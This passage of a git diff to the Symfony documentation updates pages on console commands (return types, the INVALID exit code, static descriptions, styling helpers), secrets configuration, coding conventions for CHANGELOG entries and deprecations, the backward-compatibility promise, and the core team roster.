+command to encrypt all local secrets to the vault.
 
 Secrets in the test Environment
 -------------------------------
@@ -253,7 +261,7 @@ your secrets during deployment to the "local" vault:
 
 .. code-block:: terminal
 
-    $ php bin/console secrets:decrypt-to-local --force --env=prod
+    $ APP_RUNTIME_ENV=prod php bin/console secrets:decrypt-to-local --force
 
 This will write all the decrypted secrets into the ``.env.prod.local`` file.
 After doing this, the decryption key does *not* need to remain on the server(s).
@@ -305,13 +313,15 @@ The secrets system is enabled by default and some of its behavior can be configu
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'secrets' => [
-                // 'vault_directory' => '%kernel.project_dir%/config/secrets/%kernel.environment%',
-                // 'local_dotenv_file' => '%kernel.project_dir%/.env.%kernel.environment%.local',
-                // 'decryption_env_var' => 'base64:default::SYMFONY_DECRYPTION_SECRET',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->secrets()
+                // ->vaultDirectory('%kernel.project_dir%/config/secrets/%kernel.environment%')
+                // ->localDotenvFile('%kernel.project_dir%/.env.%kernel.environment%.local')
+                // ->decryptionEnvVar('base64:default::SYMFONY_DECRYPTION_SECRET')
+            ;
+        };
 
 
 .. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 730043af714..6bdf07ff886 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -77,16 +77,16 @@ Now, examine the results to see this closely:
         $container->loadFromExtension('my_bundle', [
                 'logging' => true,
                 // true, as expected
-            )
-        ];
+            ]
+        );
 
         $container->loadFromExtension('my_bundle', [
                 'logging' => "%kernel.debug%",
                 // true/false (depends on 2nd parameter of Kernel),
                 // as expected, because %kernel.debug% inside configuration
                 // gets evaluated before being passed to the extension
-            )
-        ];
+            ]
+        );
 
         $container->loadFromExtension('my_bundle');
         // passes the string "%kernel.debug%".
@@ -106,7 +106,7 @@ be injected with this parameter via the extension as follows::
     {
         private $debug;
 
-        public function  __construct($debug)
+        public function __construct($debug)
         {
             $this->debug = (bool) $debug;
         }
diff --git a/console.rst b/console.rst
index ec49f7bd2d2..36db72b0450 100644
--- a/console.rst
+++ b/console.rst
@@ -38,14 +38,14 @@ want a command to create a user::
         // the name of the command (the part after "bin/console")
         protected static $defaultName = 'app:create-user';
 
-        protected function configure()
+        protected function configure(): void
         {
             // ...
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
-            // ... put here the code to run in your command
+            // ... put here the code to create the user
 
             // this method must return an integer number with the "exit status code"
             // of the command. You can also use these constants to make code more readable
@@ -57,6 +57,10 @@ want a command to create a user::
             // or return this if some error happened during the execution
             // (it's equivalent to returning int(1))
             // return Command::FAILURE;
+
+            // or return this to indicate incorrect command usage; e.g. invalid options
+            // or missing arguments (it's equivalent to returning int(2))
+            // return Command::INVALID
         }
     }
 
@@ -65,6 +69,10 @@ want a command to create a user::
     The ``Command::SUCCESS`` and ``Command::FAILURE`` constants were introduced
     in Symfony 5.1.
 
+.. versionadded:: 5.3
+
+    The ``Command::INVALID`` constant was introduced in Symfony 5.3
+
 Configuring the Command
 -----------------------
 
@@ -72,18 +80,37 @@ You can optionally define a description, help message and the
 :doc:`input options and arguments </console/input>`::
 
     // ...
-    protected function configure()
+    // the command description shown when running "php bin/console list"
+    protected static $defaultDescription = 'Creates a new user.';
+
+    // ...
+    protected function configure(): void
     {
         $this
-            // the short description shown while running "php bin/console list"
-            ->setDescription('Creates a new user.')
+            // If you don't like using the $defaultDescription static property,
+            // you can also define the short description using this method:
+            // ->setDescription('...')
 
-            // the full command description shown when running the command with
-            // the "--help" option
+            // the command help shown when running the command with the "--help" option
             ->setHelp('This command allows you to create a user...')
         ;
     }
 
+Defining the ``$defaultDescription`` static property instead of using the
+``setDescription()`` method allows to get the command description without
+instantiating its class. This makes the ``php bin/console list`` command run
+much faster.
+
+If you want to always run the ``list`` command fast, add the ``--short`` option
+to it (``php bin/console list --short``). This will avoid instantiating command
+classes, but it won't show any description for commands that use the
+``setDescription()`` method instead of the static property.
+
+.. versionadded:: 5.3
+
+    The ``$defaultDescription`` static property and the ``--short`` option
+    were introduced in Symfony 5.3.
+
 The ``configure()`` method is called automatically at the end of the command
 constructor. If your command defines its own constructor, set the properties
 first and then call to the parent constructor, to make those properties
@@ -107,7 +134,7 @@ available in the ``configure()`` method::
             parent::__construct();
         }
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 // ...
@@ -143,7 +170,7 @@ The ``execute()`` method has access to the output stream to write messages to
 the console::
 
     // ...
-    protected function execute(InputInterface $input, OutputInterface $output)
+    protected function execute(InputInterface $input, OutputInterface $output): int
     {
         // outputs multiple lines to the console (adding "\n" at the end of each line)
         $output->writeln([
@@ -187,16 +214,24 @@ called "output sections". Create one or more of these sections when you need to
 clear and overwrite the output information.
 
 Sections are created with the
-:method:`Symfony\\Component\\Console\\Output\\ConsoleOutput::section` method,
-which returns an instance of
+:method:`ConsoleOutput::section() <Symfony\\Component\\Console\\Output\\ConsoleOutput::section>`
+method, which returns an instance of
 :class:`Symfony\\Component\\Console\\Output\\ConsoleSectionOutput`::
 
+    // ...
+    use Symfony\Component\Console\Output\ConsoleOutputInterface;
+
     class MyCommand extends Command
     {
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
+            if (!$output instanceof ConsoleOutputInterface) {
+                throw new \LogicException('This command accepts only an instance of "ConsoleOutputInterface".');
+            }
+
             $section1 = $output->section();
             $section2 = $output->section();
+
             $section1->writeln('Hello');
             $section2->writeln('World!');
             // Output displays "Hello\nWorld!\n"
@@ -235,7 +270,7 @@ Use input options or arguments to pass information to the command::
     use Symfony\Component\Console\Input\InputArgument;
 
     // ...
-    protected function configure()
+    protected function configure(): void
     {
         $this
             // configure an argument
@@ -245,7 +280,7 @@ Use input options or arguments to pass information to the command::
     }
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         $output->writeln([
             'User Creator',
@@ -299,7 +334,7 @@ as a service, you can use normal dependency injection. Imagine you have a
 
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
 
@@ -355,7 +390,7 @@ console::
     {
         public function testExecute()
         {
-            $kernel = static::createKernel();
+            $kernel = self::bootKernel();
             $application = new Application($kernel);
 
             $command = $application->find('app:create-user');
@@ -368,6 +403,8 @@ console::
                 // e.g: '--some-option' => 'option_value',
             ]);
 
+            $commandTester->assertCommandIsSuccessful();
+
             // the output of the command in the console
             $output = $commandTester->getDisplay();
             $this->assertStringContainsString('Username: Wouter', $output);
@@ -384,6 +421,10 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     The ``setAutoExit()`` method for single-command applications was introduced
     in Symfony 5.2.
 
+.. versionadded:: 5.4
+
+    The ``assertCommandIsSuccessful()`` method was introduced in Symfony 5.4.
+
 .. tip::
 
     You can also test a whole console application by using
@@ -395,10 +436,20 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     not dispatched. If you need to test those events, use the
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
 
+.. caution::
+
+    When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`
+    class, don't forget to disable the auto exit flag::
+
+        $application = new Application();
+        $application->setAutoExit(false);
+        
+        $tester = new ApplicationTester($application);
+
 .. note::
 
     When using the Console component in a standalone project, use
-    :class:`Symfony\\Component\\Console\\Application <Symfony\\Component\\Console\\Application>`
+    :class:`Symfony\\Component\\Console\\Application`
     and extend the normal ``\PHPUnit\Framework\TestCase``.
 
 Logging Command Errors
@@ -428,5 +479,6 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program
+* :doc:`/components/console/helpers/cursor`: allows to manipulate the cursor in the terminal
 
 .. _`exit status`: https://en.wikipedia.org/wiki/Exit_status
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 0b3919973e5..2defb04d49a 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -8,36 +8,40 @@ or if you want to create a "meta" command that runs a bunch of other commands
 changed on the production servers: clearing the cache, generating Doctrine
 proxies, dumping web assets, ...).
 
-Calling a command from another one is straightforward::
+Use the :method:`Symfony\\Component\\Console\\Application::find` method to
+find the command you want to run by passing the command name. Then, create a
+new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the
+arguments and options you want to pass to the command.
 
+Eventually, calling the ``run()`` method actually runs the command and returns
+the returned code from the command (return value from command's ``execute()``
+method)::
+
+    // ...
+    use Symfony\Component\Console\Command;
     use Symfony\Component\Console\Input\ArrayInput;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
-    // ...
 
-    protected function execute(InputInterface $input, OutputInterface $output)
+    class CreateUserCommand extends Command
     {
-        $command = $this->getApplication()->find('demo:greet');
-
-        $arguments = [
-            'name'    => 'Fabien',
-            '--yell'  => true,
-        ];
+        // ...
 
-        $greetInput = new ArrayInput($arguments);
-        $returnCode = $command->run($greetInput, $output);
+        protected function execute(InputInterface $input, OutputInterface $output): void
+        {
+            $command = $this->getApplication()->find('demo:greet');
 
-        // ...
-    }
+            $arguments = [
+                'name'    => 'Fabien',
+                '--yell'  => true,
+            ];
 
-First, you :method:`Symfony\\Component\\Console\\Application::find` the
-command you want to run by passing the command name. Then, you need to create
-a new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the arguments
-and options you want to pass to the command.
+            $greetInput = new ArrayInput($arguments);
+            $returnCode = $command->run($greetInput, $output);
 
-Eventually, calling the ``run()`` method actually runs the command and returns
-the returned code from the command (return value from command's ``execute()``
-method).
+            // ...
+        }
+    }
 
 .. tip::
 
diff --git a/console/coloring.rst b/console/coloring.rst
index 913805b5cea..9df90251895 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -46,12 +46,18 @@ It is possible to define your own styles using the
     $output->writeln('<fire>foo</>');
 
 Any hex color is supported for foreground and background colors. Besides that, these named colors are supported:
-``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan`` and ``white``.
+``black``, ``red``, ``green``, ``yellow``, ``blue``, ``magenta``, ``cyan``, ``white``,
+``gray``, ``bright-red``, ``bright-green``, ``bright-yellow``, ``bright-blue``,
+``bright-magenta``, ``bright-cyan`` and ``bright-white``.
 
 .. versionadded:: 5.2
 
     True (hex) color support was introduced in Symfony 5.2
 
+.. versionadded:: 5.3
+
+    Support for bright colors was introduced in Symfony 5.3.
+
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.
@@ -65,10 +71,10 @@ commonly used when asking the user to type sensitive information).
 
 You can also set these colors and options directly inside the tag name::
 
-    // green text
+    // using named colors
     $output->writeln('<fg=green>foo</>');
 
-    // red text
+    // using hexadecimal colors
     $output->writeln('<fg=#c0392b>foo</>');
 
     // black text on a cyan background
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 190584bfbda..91ead2a7801 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -20,11 +20,9 @@ Instead, you can run the command directly from the controller.
     a controller has a slight performance impact because of the request stack
     overhead.
 
-Imagine you want to send spooled Swift Mailer messages by
-:doc:`using the swiftmailer:spool:send command </email>`.
-Run this command from inside your controller via::
+Imagine you want to run the ``debug:twig`` from inside your controller::
 
-    // src/Controller/SpoolController.php
+    // src/Controller/DebugTwigController.php
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Console\Application;
@@ -34,19 +32,19 @@ Run this command from inside your controller via::
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\KernelInterface;
 
-    class SpoolController extends AbstractController
+    class DebugTwigController extends AbstractController
     {
-        public function sendSpool($messages = 10, KernelInterface $kernel)
+        public function debugTwig(KernelInterface $kernel): Response
         {
             $application = new Application($kernel);
             $application->setAutoExit(false);
 
             $input = new ArrayInput([
-                'command' => 'swiftmailer:spool:send',
+                'command' => 'debug:twig',
                 // (optional) define the value of command arguments
                 'fooArgument' => 'barValue',
                 // (optional) pass options to the command
-                '--message-limit' => $messages,
+                '--bar' => 'fooValue',
             ]);
 
             // You can use NullOutput() if you don't need the output
@@ -76,7 +74,7 @@ First, require the package:
 
 Now, use it in your controller::
 
-    // src/Controller/SpoolController.php
+    // src/Controller/DebugTwigController.php
     namespace App\Controller;
 
     use SensioLabs\AnsiConverter\AnsiToHtmlConverter;
@@ -85,9 +83,9 @@ Now, use it in your controller::
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    class SpoolController extends AbstractController
+    class DebugTwigController extends AbstractController
     {
-        public function sendSpool($messages = 10)
+        public function sendSpool(int $messages = 10): Response
         {
             // ...
             $output = new BufferedOutput(
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index af4f275e221..6323f21ac50 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -35,13 +35,13 @@ For example, suppose you want to log something from within your command::
             parent::__construct();
         }
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setDescription('Good morning!');
         }
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $this->logger->info('Waking up the sun');
             // ...
diff --git a/console/hide_commands.rst b/console/hide_commands.rst
index db39ca824f8..2f9d2819873 100644
--- a/console/hide_commands.rst
+++ b/console/hide_commands.rst
@@ -20,7 +20,7 @@ In those cases, you can define the command as **hidden** by setting the
     {
         protected static $defaultName = 'app:legacy';
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 ->setHidden(true)
diff --git a/console/input.rst b/console/input.rst
index 182a7c579e2..3bbba7e5fce 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -21,7 +21,7 @@ and make the ``name`` argument required::
     {
         // ...
 
-        protected function configure()
+        protected function configure(): void
         {
             $this
                 // ...
@@ -42,7 +42,7 @@ You now have access to a ``last_name`` argument in your command::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $text = 'Hi '.$input->getArgument('name');
 
@@ -199,14 +199,15 @@ separation at all (e.g. ``-i 5`` or ``-i5``).
     this situation, always place options after the command name, or avoid using
     a space to separate the option name from its value.
 
-There are four option variants you can use:
+There are five option variants you can use:
 
 ``InputOption::VALUE_IS_ARRAY``
     This option accepts multiple values (e.g. ``--dir=/foo --dir=/bar``);
 
 ``InputOption::VALUE_NONE``
-    Do not accept input for this option (e.g. ``--yell``). This is the default
-    behavior of options;
+    Do not accept input for this option (e.g. ``--yell``). The value returned
+    from is a boolean (``false`` if the option is not provided).
+    This is the default behavior of options;
 
 ``InputOption::VALUE_REQUIRED``
     This value is required (e.g. ``--iterations=5`` or ``-i5``), the option
@@ -216,6 +217,14 @@ There are four option variants you can use:
     This option may or may not have a value (e.g. ``--yell`` or
     ``--yell=loud``).
 
+``InputOption::VALUE_NEGATABLE``
+    Accept either the flag (e.g. ``--yell``) or its negation (e.g.
+    ``--no-yell``).
+
+.. versionadded:: 5.3
+
+    The ``InputOption::VALUE_NEGATABLE`` constant was introduced in Symfony 5.3.
+
 You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
 ``VALUE_OPTIONAL`` like this::
 
@@ -249,7 +258,7 @@ optionally accepts a value, but it's a bit tricky. Consider this example::
         )
     ;
 
-This option can be used in 3 ways: ``greet --yell``, ``greet yell=louder``,
+This option can be used in 3 ways: ``greet --yell``, ``greet --yell=louder``,
 and ``greet``. However, it's hard to distinguish between passing the option
 without a value (``greet --yell``) and not passing the option (``greet``).
 
diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 1be62776742..e3c26372cfe 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -22,7 +22,7 @@ that adds two convenient methods to lock and release commands::
 
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             if (!$this->lock()) {
                 $output->writeln('The command is already running in another process.');
@@ -38,6 +38,8 @@ that adds two convenient methods to lock and release commands::
             // if not released explicitly, Symfony releases the lock
             // automatically when the execution of the command ends
             $this->release();
+
+            return Command::SUCCESS;
         }
     }
 
diff --git a/console/style.rst b/console/style.rst
index a8cdad20004..33f1ff59cc5 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -21,7 +21,7 @@ Consider for example the code used to display the title of the following command
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $output->writeln([
                 '<info>Lorem Ipsum Dolor Sit Amet</>',
@@ -62,7 +62,7 @@ title of the command::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             $io = new SymfonyStyle($input, $output);
             $io->title('Lorem Ipsum Dolor Sit Amet');
@@ -165,6 +165,15 @@ Content Methods
             ['foo4' => 'bar4']
         );
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTable`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\Table`
+    styled according to the Symfony Style Guide, which allows you to use
+    features such as appending rows dynamically.
+
+.. versionadded:: 5.4
+
+    The ``createTable()`` method was introduced in Symfony 5.4.
+
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::newLine`
     It displays a blank line in the command output. Although it may seem useful,
     most of the times you won't need it at all. The reason is that every helper
@@ -243,6 +252,24 @@ Progress Bar Methods
 
         $io->progressFinish();
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::progressIterate`
+    If your progress bar loops over an iterable collection, use the
+    ``progressIterate()`` helper::
+
+        $iterable = [1, 2];
+
+        foreach ($io->progressIterate($iterable) as $value) {
+            // ... do some work
+        }
+
+.. versionadded:: 5.4
+
+    The ``progressIterate`` method was introduced in Symfony 5.4.
+
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createProgressBar`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
+    styled according to the Symfony Style Guide.
+
 User Input Methods
 ~~~~~~~~~~~~~~~~~~
 
@@ -331,12 +358,12 @@ Result Methods
     It's meant to be used once to display the final result of executing the given
     command, without showing the result as a successful or failed one::
 
-        // use simple strings for short success messages
+        // use simple strings for short info messages
         $io->info('Lorem ipsum dolor sit amet');
 
         // ...
 
-        // consider using arrays when displaying long success messages
+        // consider using arrays when displaying long info messages
         $io->info([
             'Lorem ipsum dolor sit amet',
             'Consectetur adipiscing elit',
@@ -412,7 +439,7 @@ of your commands to change their appearance::
     {
         // ...
 
-        protected function execute(InputInterface $input, OutputInterface $output)
+        protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // Before
             $io = new SymfonyStyle($input, $output);
diff --git a/console/verbosity.rst b/console/verbosity.rst
index c16737c2b61..7df68d30f23 100644
--- a/console/verbosity.rst
+++ b/console/verbosity.rst
@@ -49,7 +49,7 @@ level. For example::
     {
         // ...
 
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $user = new User(...);
 
@@ -68,6 +68,8 @@ level. For example::
                 'Will only be printed in verbose mode or higher',
                 OutputInterface::VERBOSITY_VERBOSE
             );
+
+            return 0;
         }
     }
 
diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index d0c82ab1c1f..65e7b1d3181 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -4,10 +4,13 @@ Our Backward Compatibility Promise
 Ensuring smooth upgrades of your projects is our first priority. That's why
 we promise you backward compatibility (BC) for all minor Symfony releases.
 You probably recognize this strategy as `Semantic Versioning`_. In short,
-Semantic Versioning means that only major releases (such as 2.0, 3.0 etc.) are
-allowed to break backward compatibility. Minor releases (such as 2.5, 2.6 etc.)
+Semantic Versioning means that only major releases (such as 5.0, 6.0 etc.) are
+allowed to break backward compatibility. Minor releases (such as 5.1, 5.2 etc.)
 may introduce new features, but must do so without breaking the existing API of
-that release branch (2.x in the previous example).
+that release branch (5.x in the previous example).
+
+We also provide deprecation message triggered in the code base to help you with
+the migration process across major release.
 
 .. caution::
 
@@ -72,7 +75,7 @@ backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Type hint against the interface               | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a method                                 | Yes                         |
+| Call a method                                 | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | **If you implement the interface and...**     | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
@@ -114,13 +117,13 @@ covered by our backward compatibility promise:
 +-----------------------------------------------+-----------------------------+
 | Access a public property                      | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a public method                          | Yes                         |
+| Call a public method                          | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | **If you extend the class and...**            | **Then we guarantee BC...** |
 +-----------------------------------------------+-----------------------------+
 | Access a protected property                   | Yes                         |
 +-----------------------------------------------+-----------------------------+
-| Call a protected method                       | Yes                         |
+| Call a protected method                       | Yes [10]_                   |
 +-----------------------------------------------+-----------------------------+
 | Override a public property                    | Yes                         |
 +-----------------------------------------------+-----------------------------+
@@ -445,4 +448,8 @@ Turn static into non static                         No
 
 .. [9] Allowed for the ``void`` return type.
 
+.. [10] Parameter names are only covered by the compatibility promise for
+        constructors of Attribute classes. Using PHP named arguments might
+        break your code when upgrading to newer Symfony versions.
+
 .. _`Semantic Versioning`: https://semver.org/
diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index a62bdd68587..cd1d87b4282 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -7,8 +7,10 @@ coding standards and conventions used in the core framework to make it more
 consistent and predictable. You are encouraged to follow them in your own
 code, but you don't need to.
 
-Method Names
-------------
+.. _method-names:
+
+Naming a Method
+---------------
 
 When an object has a "main" many relation with related "things"
 (objects, parameters, ...), the method names are normalized:
@@ -77,19 +79,63 @@ must be used instead (where ``XXX`` is the name of the related thing):
     ``replaceXXX()``, on the other hand, cannot add new elements. If an unrecognized
     key is passed to ``replaceXXX()`` it must throw an exception.
 
+Writing a CHANGELOG Entry
+-------------------------
+
+When adding a new feature in a minor version or deprecating an existing
+behavior, an entry to the relevant CHANGELOG(s) should be added.
+
+New features and deprecations must be described in a file named
+``CHANGELOG.md`` that should be at the root directory of the modified
+Component, Bridge or Bundle.
+
+The file must be written with the Markdown syntax and follow the following
+conventions:
+
+* The main title is always ``CHANGELOG``;
+
+* Each entry must be added to a minor version section (like ``5.3``) as a list
+  element;
+
+* No third level sections are allowed;
+
+* Messages should follow the :ref:`commit message conventions <commit-messages>`:
+  should be short, capitalize the line, do not end with a period, use an
+  imperative verb to start the line;
+
+* New entries must be added on top of the list.
+
+Here is a complete example for reference:
+
+.. code-block:: markdown
+
+    CHANGELOG
+    =========
+
+    5.3
+    ---
+
+     * Add `MagicConfig` that allows configuring things
+
+.. note::
+
+    The main ``CHANGELOG-*`` files at the ``symfony/symfony`` root directory
+    are automatically generated when releases are prepared and should never be
+    modified manually.
+
 .. _contributing-code-conventions-deprecations:
 
 Deprecating Code
 ----------------
 
-From time to time, some classes and/or methods are deprecated in the
-framework; that happens when a feature implementation cannot be changed
-because of backward compatibility issues, but we still want to propose a
-"better" alternative. In that case, the old implementation can be **deprecated**.
+From time to time, some classes and/or methods are deprecated in the framework;
+that happens when a feature implementation cannot be changed because of
+backward compatibility issues, but we still want to propose a "better"
+alternative. In that case, the old implementation can be **deprecated**.
 
 Deprecations must only be introduced on the next minor version of the impacted
-component (or bundle, or bridge, or contract).
-They can exceptionally be introduced on previous supported versions if they are critical.
+component (or bundle, or bridge, or contract). They can exceptionally be
+introduced on previous supported versions if they are critical.
 
 A new class (or interface, or trait) cannot be introduced as deprecated, or
 contain deprecated methods.
@@ -121,7 +167,7 @@ A deprecation must also be triggered to help people with the migration
 
     trigger_deprecation('symfony/package-name', '5.1', 'The "%s" class is deprecated, use "%s" instead.', Deprecated::class, Replacement::class);
 
-When deprecating a whole class the ``trigger_error()`` call should be placed
+When deprecating a whole class the ``trigger_deprecation()`` call should be placed
 after the use declarations, like in this example from `ServiceRouterLoader`_::
 
     namespace Symfony\Component\Routing\Loader\DependencyInjection;
@@ -137,43 +183,59 @@ after the use declarations, like in this example from `ServiceRouterLoader`_::
 
 .. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php
 
-The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component::
+The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component:
 
-    4.4.0
-    -----
+.. code-block:: markdown
 
-    * Deprecated the `Deprecated` class, use `Replacement` instead.
+    4.4
+    ---
+
+    * Deprecate the `Deprecated` class, use `Replacement` instead
 
 It must also be added to the ``UPGRADE.md`` file of the targeted minor version
-(``UPGRADE-4.4.md`` in our example)::
+(``UPGRADE-4.4.md`` in our example):
+
+.. code-block:: markdown
 
     DependencyInjection
     -------------------
 
-    * Deprecated the `Deprecated` class, use `Replacement` instead.
+     * Deprecate the `Deprecated` class, use `Replacement` instead
 
 Finally, its consequences must be added to the ``UPGRADE.md`` file of the next major version
-(``UPGRADE-5.0.md`` in our example)::
+(``UPGRADE-5.0.md`` in our example):
+
+.. code-block:: markdown
 
     DependencyInjection
     -------------------
 
-    * Removed the `Deprecated` class, use `Replacement` instead.
+     * Remove the `Deprecated` class, use `Replacement` instead
 
 All these tasks are mandatory and must be done in the same pull request.
 
 Removing Deprecated Code
 ------------------------
 
-Removing deprecated code can only be done once every 2 years, on the next major version of the
-impacted component (``master`` branch).
+Removing deprecated code can only be done once every two years, on the next
+major version of the impacted component (``6.0`` branch, ``7.0`` branch, etc.).
 
-When removing deprecated code, the consequences of the deprecation must be added to the ``CHANGELOG.md`` file
-of the impacted component::
+When removing deprecated code, the consequences of the deprecation must be added
+to the ``CHANGELOG.md`` file of the impacted component:
 
-    5.0.0
-    -----
+.. code-block:: markdown
 
-    * Removed the `Deprecated` class, use `Replacement` instead.
+    5.0
+    ---
+
+     * Remove the `Deprecated` class, use `Replacement` instead
 
 This task is mandatory and must be done in the same pull request.
+
+Naming Commands and Options
+---------------------------
+
+Commands and their options should be named and described using the English
+imperative mood (i.e. 'run' instead of 'runs', 'list' instead of 'lists'). Using
+the imperative mood is concise and consistent with similar command-line
+interfaces (such as Unix man pages).
diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 47fba9c2d94..e3aa1d4660e 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -24,27 +24,21 @@ The Symfony Core groups, in descending order of priority, are as follows:
 
 1. **Project Leader**
 
-* Elects members in any other group;
-* Merges pull requests in all Symfony repositories.
+   * Elects members in any other group;
+   * Merges pull requests in all Symfony repositories.
 
 2. **Mergers Team**
 
-* Merge pull requests on the main Symfony repository.
+   * Merge pull requests on the main Symfony repository.
 
 In addition, there are other groups created to manage specific topics:
 
-**Security Team**
+* **Security Team**: manages the whole security process (triaging reported vulnerabilities,
+  fixing the reported issues, coordinating the release of security fixes, etc.)
 
-* Manage the whole security process (triaging reported vulnerabilities, fixing
-  the reported issues, coordinating the release of security fixes, etc.)
+* **Recipes Team**: manages the recipes in the main and contrib recipe repositories.
 
-**Recipes Team**
-
-* Manage the recipes in the main and contrib recipe repositories.
-
-**Documentation Team**
-
-* Manage the whole `symfony-docs repository`_.
+* **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
 ~~~~~~~~~~~~~~~~~~~
@@ -60,18 +54,22 @@ Active Core Members
   * **Christian Flothmann** (`xabbuh`_);
   * **Tobias Schultze** (`Tobion`_);
   * **Kévin Dunglas** (`dunglas`_);
-  * **Jakub Zalas** (`jakzal`_);
   * **Javier Eguiluz** (`javiereguiluz`_);
   * **Grégoire Pineau** (`lyrixx`_);
   * **Ryan Weaver** (`weaverryan`_);
   * **Robin Chalas** (`chalasr`_);
   * **Maxime Steinhausser** (`ogizanagi`_);
-  * **Samuel Rozé** (`sroze`_);
   * **Yonel Ceruto** (`yceruto`_);
   * **Tobias Nyholm** (`Nyholm`_);
   * **Wouter De Jong** (`wouterj`_);
   * **Alexander M. Turek** (`derrabus`_);
-  * **Jérémy Derussé** (`jderusse`_).
+  * **Jérémy Derussé** (`jderusse`_);
+  * **Titouan Galopin** (`tgalopin`_);
+  * **Oskar Stark** (`OskarStark`_);
+  * **Thomas Calvet** (`fancyweb`_);
+  * **Mathieu Santostefano** (`welcomattic`_);
+  * **Kevin Bond** (`kbond`_);
+  * **Jérôme Tamarelle** (`gromnan`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 
@@ -90,7 +88,6 @@ Active Core Members
   * **Ryan Weaver** (`weaverryan`_);
   * **Christian Flothmann** (`xabbuh`_);
   * **Wouter De Jong** (`wouterj`_);
-  * **Jules Pietri** (`HeahDude`_);
   * **Javier Eguiluz** (`javiereguiluz`_).
   * **Oskar Stark** (`OskarStark`_).
 
@@ -104,12 +101,15 @@ Symfony contributions:
 * **Abdellatif AitBoudad** (`aitboudad`_);
 * **Romain Neutron** (`romainneutron`_);
 * **Jordi Boggiano** (`Seldaek`_);
-* **Lukas Kahwe Smith** (`lsmith77`_).
